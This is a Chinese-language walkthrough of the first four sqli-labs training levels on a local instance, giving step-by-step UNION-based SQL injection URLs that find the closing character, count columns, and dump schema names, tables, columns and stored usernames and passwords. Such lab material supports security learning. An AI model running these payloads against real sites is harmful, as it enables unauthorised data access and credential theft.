目录
SQL注入基本步骤:
一、Less1(GET-Error based - Single quotes -String)
简介:(单引号+字符型注入)
第一步:注入点测试
第二步:查询字段数
第三步:判断回显位
第四步:查询数据库的基本信息
第五步:爆数据库名
第六步:爆数据库表名
第七步:爆字段名
第八步:爆数据
二、Less2(GET-Error based - intiger based)
简介:(整型注入)
第一步:注入点测试
第二步:查询字段数
第三步:判断回显位
第四步:查询数据库的基本信息
第五步:爆数据库名
第六步:爆数据库表名
第七步:爆字段名
第八步:爆数据
三、Less3(GET-Error based - Single quotes -String)
简介:(单引号+括号+字符型注入)
第一步:注入点测试
第二步:查询字段数
第三步:判断回显位
第四步:查询数据库的基本信息
第五步:爆数据库名
第六步:爆数据库表名
第七步:爆字段名
第八步:爆数据
四、Less4(GET-Error based - Double Quotes String)
简介:(双引号+ )+字符型注入)
第一步:注入点测试
第二步:查询字段数
第三步:判断回显位
第四步:查询数据库的基本信息
第五步:爆数据库名
第六步:爆数据库表名
第七步:爆字段名
第八步:爆数据

(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:查询字段数
第三步:判断回显位
第四步:查询数据库的基本信息
第五步:爆数据库名
第六步:爆数据库表名
第七步:爆字段名
第八步:爆数据
一、Less1(GET-Error based - Single quotes -String)
简介:(单引号+字符型注入)
请求方式:GET
方法:错误注入
第一步:注入点测试
测试闭合符号
http://localhost:8080/sqli-labs-master/Less-1/'
在后面加上了’
发现报错了,说明带入数据库中处理了,且闭合符合为'
可能存在注入点
(使用可能闭合的符号进行测试)

验证注入点
输入ID序号为1的进行查询
(一般没改的化就是ID为关键字)
http://localhost:8080/sqli-labs-master/Less-1/ ?id=1
(第一关都还没必要考虑注释掉后面其他的符号)

回显了ID为1的用户信息
说明存在注入
判断注入类型
闭合前面单引号,注释掉后面引号
通过and连接1=1 和 1=2来判断是否为字符型注入
http://localhost:8080/sqli-labs-master/Less-1/ ?id=1' and 1=1--+
(正确回显,因为1=1确实对的,但是还不能下结论)

http://localhost:8080/sqli-labs-master/Less-1/ ?id=1' and 1=2--+
(1=2是错误,且无回显,是1=2注入到数据库影响的)
所有存在字符型注入

第二步:查询字段数
猜的话,使用二分法往下猜
http://localhost:8080/sqli-labs-master/Less-1/ ?id=1' order by 3 --+
(3的时候正常回显,3以下就都能回显,现在应该往上猜)

http://localhost:8080/sqli-labs-master/Less-1/ ?id=1' order by 4 --+
(4的时候报错了,说明是3了)

第三步:判断回显位
使用联合查询union
将id赋值为假(eg:id=-1)
http://localhost:8080/sqli-labs-master/Less-1/ ?id=-1' union select 1,2,3 --+

报错回显2,3
说明第2,3个位置可以报错回显查询
第四步:查询数据库的基本信息
在第2,3列输入需要查询的命令
http://localhost:8080/sqli-labs-master/Less-1/ ?id=-1' union select 1,database(),user() --+
报错回显

第五步:爆数据库名
http://localhost:8080/sqli-labs-master/Less-1/ ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

第六步:爆数据库表名
http://localhost:8080/sqli-labs-master/Less-1/ ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

后面的表名'security'也可以直接用database()
是一样的效果
http://localhost:8080/sqli-labs-master/Less-1/ ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

第七步:爆字段名
http://localhost:8080/sqli-labs-master/Less-1/ ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

第八步:爆数据
http://localhost:8080/sqli-labs-master/Less-1/ ?id=-1' union select 1,username,password from users where id=2 --+

二、Less2(GET-Error based - intiger based)
简介:(整型注入)
请求:GET
方法:报错注入
第一步:注入点测试
测试闭合符号
http://localhost:8080/sqli-labs-master/Less-2/'
在后面加上了’
发现报错了,说明带入数据库中处理了,且闭合符合为'
可能存在注入点
(使用可能闭合的符号进行测试)

验证注入点
输入ID序号为1的进行查询
(一般没改的化就是ID为关键字)
http://localhost:8080/sqli-labs-master/Less-2/ ?id=1
(都还没必要考虑注释掉后面其他的符号)

回显了ID为1的用户信息
说明存在注入
#加上单引号,出现了奇数次

判断注入类型
闭合前面单引号,注释掉后面引号
通过and连接1=1 和 1=2来判断是否为字符型注入
http://localhost:8080/sqli-labs-master/Less-2/ ?id=1 and 1=1
(正确回显,因为1=1确实对的,但是还不能下结论)

http://localhost:8080/sqli-labs-master/Less-2/ ?id=1 and 1=2
(1=2是错误,且无回显,是1=2注入到数据库影响的)
所有存在字符型注入

第二步:查询字段数
猜的话,使用二分法往下猜
http://localhost:8080/sqli-labs-master/Less-2/ ?id=1 order by 3
(3的时候正常回显,3以下就都能回显,现在应该往上猜)

http://localhost:8080/sqli-labs-master/Less-2/ ?id=1 order by 4
(4的时候报错了,说明是3了)

第三步:判断回显位
使用联合查询union
将id赋值为假(eg:id=-1)
http://localhost:8080/sqli-labs-master/Less-2/ ?id=-1 union select 1,2,3

报错回显2,3
说明第2,3个位置可以报错回显查询
第四步:查询数据库的基本信息
在第2,3列输入需要查询的命令
http://localhost:8080/sqli-labs-master/Less-2/ ?id=-1 union select 1,database(),user()
报错回显

第五步:爆数据库名
http://localhost:8080/sqli-labs-master/Less-2/ ?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

第六步:爆数据库表名
http://localhost:8080/sqli-labs-master/Less-2/ ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

后面的表名'security'也可以直接用database()
是一样的效果
http://localhost:8080/sqli-labs-master/Less-2/ ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

第七步:爆字段名
http://localhost:8080/sqli-labs-master/Less-2/ ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

第八步:爆数据
http://localhost:8080/sqli-labs-master/Less-2/ ?id=-1 union select 1,username,password from users where id=2

三、Less3(GET-Error based - Single quotes -String)
简介:(单引号+括号+字符型注入)
请求方式:GET
方法:错误注入
第一步:注入点测试
测试闭合符号
http://localhost:8080/sqli-labs-master/Less-3/'
在后面加上了’
发现报错了,说明带入数据库中处理了,且闭合符合为'
可能存在注入点
(使用可能闭合的符号进行测试)

验证注入点
输入ID序号为1的进行查询
(一般没改的化就是ID为关键字)
http://localhost:8080/sqli-labs-master/Less-3/ ?id=1
(都还没必要考虑注释掉后面其他的符号)

回显了ID为1的用户信息
说明存在注入
#加上单引号,报错,提示闭合小括号

闭合括号后,注释后面所有,回显正常
http://localhost:8080/sqli-labs-master/Less-3/ ?id=1')--+

判断注入类型
闭合前面单引号,注释掉后面引号
通过and连接1=1 和 1=2来判断是否为字符型注入
http://localhost:8080/sqli-labs-master/Less-3/ ?id=1') and 1=1--+
(正确回显,因为1=1确实对的,但是还不能下结论)

http://localhost:8080/sqli-labs-master/Less-3/ ?id=1') and 1=2--+
(1=2是错误,且无回显,是1=2注入到数据库影响的)
所有存在字符型注入

第二步:查询字段数
猜的话,使用二分法往下猜
http://localhost:8080/sqli-labs-master/Less-3/ ?id=1') order by 3--+
(3的时候正常回显,3以下就都能回显,现在应该往上猜)

http://localhost:8080/sqli-labs-master/Less-3/ ?id=1') order by 4--+
(4的时候报错了,说明是3了)

第三步:判断回显位
使用联合查询union
将id赋值为假(eg:id=-1)
http://localhost:8080/sqli-labs-master/Less-3/ ?id=-1') union select 1,2,3--+

报错回显2,3
说明第2,3个位置可以报错回显查询
第四步:查询数据库的基本信息
在第2,3列输入需要查询的命令
http://localhost:8080/sqli-labs-master/Less-3/ ?id=-1') union select 1,database(),user()--+
报错回显

第五步:爆数据库名
http://localhost:8080/sqli-labs-master/Less-3/ ?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+

第六步:爆数据库表名
http://localhost:8080/sqli-labs-master/Less-3/ ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

后面的表名'security'也可以直接用database()
是一样的效果
http://localhost:8080/sqli-labs-master/Less-3/ ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

第七步:爆字段名
http://localhost:8080/sqli-labs-master/Less-3/ ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第八步:爆数据
http://localhost:8080/sqli-labs-master/Less-3/ ?id=-1') union select 1,username,password from users where id=2--+

四、Less4(GET-Error based - Double Quotes String)
简介:(双引号+ )+字符型注入)
请求方式:GET
方法:错误注入
第一步:注入点测试
提示输入id(然后就传入一个ID)

测试闭合符号
http://localhost:8080/sqli-labs-master/Less-4/ ?id=1'
在后面加上了’
正常输出

http://localhost:8080/sqli-labs-master/Less-4/ ?id=1"
在后面加上“
提示要闭合 )

http://localhost:8080/sqli-labs-master/Less-4/ ?id=1")--+
闭合了”和),再注释掉后面的
正常回显

判断注入类型
闭合前面单引号,注释掉后面引号
通过and连接1=1 和 1=2来判断是否为字符型注入
http://localhost:8080/sqli-labs-master/Less-4/ ?id=1") and 1=1--+
(正确回显,因为1=1确实对的,但是还不能下结论)

http://localhost:8080/sqli-labs-master/Less-4/ ?id=1") and 1=2--+
(1=2是错误,且无回显,是1=2注入到数据库影响的)
所有存在字符型注入

第二步:查询字段数
猜的话,使用二分法往下猜
http://localhost:8080/sqli-labs-master/Less-4/ ?id=1") order by 3--+
(3的时候正常回显,3以下就都能回显,现在应该往上猜)

http://localhost:8080/sqli-labs-master/Less-4/ ?id=1") order by 4--+
(4的时候报错了,说明是3了)

第三步:判断回显位
使用联合查询union
将id赋值为假(eg:id=-1)
http://localhost:8080/sqli-labs-master/Less-4/ ?id=-1") union select 1,2,3--+

报错回显2,3
说明第2,3个位置可以报错回显查询
第四步:查询数据库的基本信息
在第2,3列输入需要查询的命令
http://localhost:8080/sqli-labs-master/Less-4/ ?id=-1") union select 1,database(),user()--+
报错回显

第五步:爆数据库名
http://localhost:8080/sqli-labs-master/Less-4/ ?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata--+

第六步:爆数据库表名
http://localhost:8080/sqli-labs-master/Less-4/ ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

后面的表名'security'也可以直接用database()
是一样的效果
http://localhost:8080/sqli-labs-master/Less-4/ ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

第七步:爆字段名
http://localhost:8080/sqli-labs-master/Less-4/ ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第八步:爆数据
http://localhost:8080/sqli-labs-master/Less-4/ ?id=-1") union select 1,username,password from users where id =2--+





